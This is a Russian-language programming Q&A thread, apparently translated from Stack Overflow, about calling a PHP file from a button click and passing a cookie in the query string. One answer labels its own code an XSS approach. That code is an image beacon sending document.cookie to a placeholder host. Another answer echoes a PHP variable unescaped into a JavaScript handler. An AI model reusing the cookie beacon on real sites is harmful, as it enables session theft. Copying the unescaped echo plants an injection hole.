Вызов файла .php в событии onclick () - PullRequest
0 голосов
/ 17 декабря 2009

Я хочу вызвать файл .php из события OnClick.

<input id="Edit" name="Edit" value="Edit Record" type="button" onclick="---call to php file----;" />

Код показан выше. Я хочу вызвать файл .php через Javascript и передать значение cookie в строке запроса.

Ответы [ 5 ]

11 голосов
/ 17 декабря 2009

Если вы не хотите, чтобы браузер указывал на страницу .php, вы ищете AJAX.

AJAX с JQuery

AJAX с прототипом

AJAX с набором инструментов Мэтта Крузе Ajax

Если вы хотите перевести браузер на страницу .php, это так просто:

location.href = 'mypage.php';
2 голосов
/ 17 декабря 2009

Я предлагаю использовать jquery и тогда все, что вам нужно сделать, это $ .get ("url") .. Было бы довольно сложно сделать это в чистом javascript.

Предполагается, что вы хотите открыть php через AJAX (то есть, фактически не показывая страницу .php пользователю, как это обычно происходит при нажатии на ссылку)

0 голосов
/ 30 января 2017
function call_php_program(code) {
    $.get("/php/php_program.php?code=" + code);
    return false;
}

onclick="call_php_program('<? echo $code; ?>')"
0 голосов
/ 18 декабря 2009

у вас нет для использования AJAX, вы можете использовать любой внешний тег, такой как iframe, ссылка, сценарий, изображение и самодельное собственное решение XSS (что, честно говоря, звучит как ты делаешь в любом случае ...)

function xssFunc( )
{
    ( new Image ).src = 'http://my.url/page.php?cookie' + encodeURIComponent( document.cookie );
}

document.getElementById( 'whatevs' ).onClick = xssFunc;

однако, если вы хотите использовать содержимое позже, я бы использовал AJAX или iframe (если вам нужно сделать это через домены).

0 голосов
/ 17 декабря 2009

"... и передать значение cookie в строку запроса."

В этом нет необходимости, так как php в любом случае может считывать значения куки прямо через суперглобальный $ _COOKIES Если вы не делаете здесь что-то междоменное, то есть.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...